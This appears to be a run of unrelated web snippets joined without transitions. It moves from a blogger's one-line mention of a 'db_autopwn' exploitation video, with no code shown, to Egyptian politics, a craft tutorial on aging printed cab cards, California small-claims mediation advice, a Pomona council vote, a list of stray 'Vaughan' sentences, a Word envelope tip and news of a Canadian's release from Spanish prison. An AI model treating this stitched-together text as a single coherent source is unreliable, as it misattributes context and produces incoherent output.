Here is my quick db_autopwn vid
I am still working on optimal settings to use for the recordings and also my video editing skills. These are in real time so there might be a couple of points where you'd want to skip ahead a bit.

Egypt Names New PM, ElBaradei as VP
(NEWSER) – Opposition leader and pro-democracy activist Mohamed ElBaradei—who was named, then un-named, Egypt's interim prime minister over the weekend—will serve as interim vice president, the AP reports, citing a spokesperson for interim president Adli Mansour. (Rather than going with VP, Reuters calls ElBaradei a "deputy to the president, responsible for foreign affairs" in its report.) As for the interim PM, Mansour named prominent liberal economist and former finance minister Hazem el-Beblawi. The ultraconservative Islamist Nour Party says it backs his appointment, but is still looking into ElBaradei's.

Just me and my art, tutorials
and free printable
The about me part, I have had company for the past couple of weeks and the last of them went home on the 3rd. Whew I thought! My son called me the next morning and told me my beautiful little grandson was sick. It did not look to serious but he was taking him to a doctors appointment. I told him to call me and let me know how he was. Shortly later my son called again and said that the little guy had Fifth disease, a virus that most children get. Between the time he had called me and the time he got him to the doctor he had broken out in the most awful red rash and even some blisters. So he had it to a more severe degree than most. It is not a virus that will really harm him as it will run it's course but if his momma who is 4 months pregnant contracted it there was a risk of significant harm to the unborn baby : / The doctor said it would be best if our little guy and his momma stayed in separate houses... sooo I have a sick little guy for the next week and his momma is in tears too since she can't be there for her sick little one. My son has been running back and forth between the two houses but each time he goes home he has to shower so our little momma doesn't catch it. I just keep saying "Gosh what next!" ... lol
How about how to make authentic looking cab cards!
First you will need to print your image (and you can use the one below) on semi gloss brochure paper. Then you need some light weight matt board, like the white gift boxes you can get from the dollar store. Oh yes, you will also need a can of craft spray glue.
Cut out the image you are going to use for the front of the cab card and spray glue the backside. Stick it to the light weight matt board and let that dry. Cut out the image you are going to use for the backside leaving about a 14 inch extra around the edges. Spray the backside of your image with glue. Then lay the image already on the matt board onto a light box or hold it against a window so you can see where the edges of the card will be. Align the front image with the back image. Once dry using your already cut out image, cut the matt board and the backside image to match the front.
Use a heavy emery board to sand the edges and round the corners.
Use an ink that matches the print all around the edges also touching it here and there direct to the paper on both the front and the back. Then blend it all with a blending solution or a blending pen. Since I had used a laser printer, I could just use alcohol.
I also bend it here and there and bang the corners to give them the look of having been handled through the years.
I placed mine in the frame above with some originals and as you can see it is difficult to tell the difference.
Now for the printable :) Be sure to click on the thumb to go to the larger printable
If you have no trouble sizing images to your page save this one.
If you need it set up on a page that you can just use your printer "fit to page" settings then save this one.

A great option is mediation, where you and the other side meet with a neutral person – called a mediator – who is specially trained to help people resolve their disputes without having to go in front of a judge. In mediation, everyone works together to find a solution, instead of having the judge make a decision.
The mediator will not force you to reach an agreement. Whether you decide to resolve your dispute, and how you resolve it, is up to the 2 of you. And if you cannot settle, you can still go in front of a judge to decide. There is nothing to lose by trying mediation, and there is a lot to gain.
Watch the viddeo Resolving Your Small Claims Case in the California Courts (also available in Chinese, Korean, Spanish, Russian, and Vietnamese), to get more informatoin about why mediation makes sense in small claims cases.
If you reach an agreement in mediation and want to dismiss your case, click to find out how to dismiss a small claims case.
There are a lot of reasons why it is a good idea to mediate your small claims dispute, whether you are the plaintiff or the defendant.
You should consider mediating your case because:
You can go to mediation before or after you start your small claims case.
You and the other person meet with a mediator. The mediator will facilitate a discussion between you and the other person in an attempt to resolve your dispute.
Usually, mediation of a small claims dispute lasts anywhere between 30 minutes and 2 hours.
Mediation may be free, or you may have to pay a small fee.
Preparing for mediation
Preparing for mediation is a lot like preparing to go to a court hearing. It is important to identify and organize the facts that are relevant to your dispute. And you should make sure you know about the facts that support the other side, not just those that support you.
It is also important to understand the law that applies to your dispute. Read the different sections in this website and talk to your small claims advisor so you can learn about the law in your case and get help with your small claims case.
If you are going to mediation before or instead of a hearing, there are some other things you should do to prepare:
How you should behave at the mediation
If your mediation is successful and you are able to reach an agreement, you will be much more satisfied with the process. You will find that you are less frustrated about what happened, and more empowered, because you were able to resolve your dispute to your satisfaction without needing to have a judge decide what is best for you.
If you settle your dispute (reach an agreement), write down exactly what you agreed to. Include:
Make sure everyone has a copy of the agreement, and keep your copy of the agreement in a safe place
Many counties have non-profit dispute resolution programs that provide free or low-cost mediation before or after a lawsuit is filed. To find a program near you, visit the California Coalition for Community Mediation's website. Or ask your court for a list of mediation programs in your area.
Many small claims courts offer free or low-cost mediation either before the hearing or on the day of the hearing. Talk to your small claims advisor or court clerk to find out more.
You can also contact your local bar association. To find a bar association in your area, contact the State Bar's Lawyer Referral Services program. (Type your county or region in the search box).
Every county in California has a small claims advisor that can help you with your case. The small claims advisor can help you research and understand the law in your case, fill out your forms, understand service and how to do it correctly, and prepare for your hearing. The advisor can also help you explore whether mediation may be a good option for you and help you find a mediator.
And this website gives you many links and resources to find a lot more resources for your small claims case.

POMONA - Pomona City Council members this week voted to deny a businessman a request to authorize him to sell beer and wine at service station's convenience store.
Council members voted Monday night 5-2 to deny Thomas Kim's request in which he asked the council to find that the sale of beer and wine from his business at 2488 Reservoir St. was a public convenience or necessity.
Mayor Elliott Rothman and Councilwoman Debra Martin cast the opposing votes.
Councilwoman Cristina Carrizosa said the family run business is a successful one and the family members have been good neighbors but the area already has a large number of outlets that sell alcohol.
"Do we really need one more? That's something we need to decide," Carrizosa said.
Justin Kim, speaking on behalf of his client Thomas Kim, said his client and James Kim, his client's father and the owner of the property, are long-time businessmen who have operated the establishment responsibly.
He added his client is a reserve deputy with the San Bernardino County Sheriff's Department.
The sale of beer and wine is "something the community has asked for," Justin Kim said adding the request was something the Kim family didn't take lightly.
"They're property owners and it's something they take very seriously," Justin Kim said.
As part of his comments Justin Kim said the area where his client's business is located is a low crime area.
But Carrizosa said the reason there is little crime is because the business is in an area with businesses and no homes.
Not far from the Kim's business is a residential area that after a great deal of work on the part of many has experienced a reduction in crime and is improving, she said.
"I don't want this community to go down," Carrizosa said.
Justin Kim said his client was prepared to make improvements to the property that the city's Planning Commission requested.
The Planning Commission approved a conditional use permit authorizing the sale of beer and wine in February.
Justin Kim added his client had plans to invest $1 million to $1.5 million on the property.
Martin said the request should be granted but if crime or other problems resulted after the businessman's was granted the city could begin the process of revoking the permit, she said.
Rothman said the request was one in which a businessman sought to enhance his establishment.
But Councilwoman Ginna Escobar said she had concerns about the establishment being less than one mile in proximity to two schools.
After the vote to deny the request Assistant City Attorney Andrew Jared said a resolution would be brought back to the City Council spelling out the Council's reasons for turning down the request.
The proposed resolution will be presented at the City Council's April 1 meeting, he said after the meeting.
Councilwoman Paula Lantz said after the voter there are number of commercial properties in the city where businesses are not operating but they still have liquor licenses that are in effect and asked how they could be eliminated.
Community Development Director Mark Lazzaretto said the city would have to go through a formal revocation process.
The process has been used to address such an case involving a long closed commercial property downtown.
Rothman asked if a business person later wanted to seek a license would the person need to apply for new license.
Lazzaretto said the process of seeking a new license would have to be followed and would provide the city an opportunity to set conditions that are in line with current needs.

What is of interest is Chanel herself, and on the subject Vaughan draws a brilliant portrait.
"This is the most basic form of immigration law enforcement," Vaughan said.
At Vaughan Foods in the town of Moore, he reportedly sought to bring others to Islam.
Mr. Vaughan,' cried Cecilia Ossulton; 'you know it came from your heart.'
To say that Vaughan is a poet of one poem would not be true.
Have you strength to tell me just what happened, Miss Vaughan?
In the quaint words of Vaughan, it was manhood with a female eye.
It had evidently been drawn by Vaughan himself, for it was written simply and without legal phrases.
Cardinal Vaughan, it is needless to say, does not sympathise with such a view.

Well, I have good news. That "dream come true" is easier to achieve than you may think!
The first step is to insert an envelope into a Word document.
– For older versions of Word, you need the Tools menu, Letters and Mailings, Envelopes and Labels choice
– .In Word 2007, you need the Mailings tab on the ribbon, Envelopes button.
Everyone should now be in the Envelopes and Labels dialog box. Go to the Envelopes tab and click the Add to Document button.
A blank envelope will then appear above your document.
Now, it's time to design! Put in your logo, return address, formatting or whatever you want to be on every envelope you print.
With the design complete, you'll need to select the pictures and/or text you want to appear on your envelopes.
With everything still selected, hit Alt + F3.
In the AutoText or Quick Parts dialog box that opens (depends on your version of Word), name it EnvelopeExtra1 and then click OK.
That's it! The next time you print an envelope from Word, your graphics and text will automatically appear where you originally placed them.
Also, for those of you concerned about the few times you'll want something different, if you have the envelope added to your document, you'll find that it can be edited as usual.
A customized look without a lot of time invested. You have to love it!

Philip Halliday is coming home.
Three years of incarceration in Spanish jail is over. Three years of separation from friends and family will come to an end this week.
Halliday's lawyer Kevin Burke says Philip has been found guilty but the court has ordered his immediate release.
Burke says he only has the judgement in Spanish but based on his conversations with the Spanish counsel, it appears the court believed Philip had served enough time.
"It seems based on the circumstances and given their interpretation of his level of participation that he should serve no additional time in jail," said Burke.
Burke wasn't sure if Philip had already been released or would be shortly.
He said Canadian officials were involved in getting transportation for Philip from the jail to Madrid and putting him up in accommodations and would be working to return him to Canada "as soon as possible".
Burke did not have any details on Philip's physical condition but had spoken with Philip's wife Sheree. Sheree has spoken with Philip since receiving the news.
"He is extremely delighted to be out of jail and excited and looking forward to being reunited with his family on Canadian soil," said Burke.
Burke said the Spanish lawyers are recommending an appeal of the guilty verdict.
"Mr. Halliday has always maintained his innocence and would like to have his name cleared," said Burke. "They kept him in jail for three years but obviously that is not foremost in his thought right now. His liberty is. And seeing his family."
Sheree first alerted the media with a short email near 3 p.m. She explained she had surgery today and would not be granting any interviews.
She later posted on Facebook:
PHILIP HAS BEEN RELEASED FROM PRISON! I know you all have questions, but honestly, that's all I know for now! Thank-you, thank-you, thank-you!!! xo
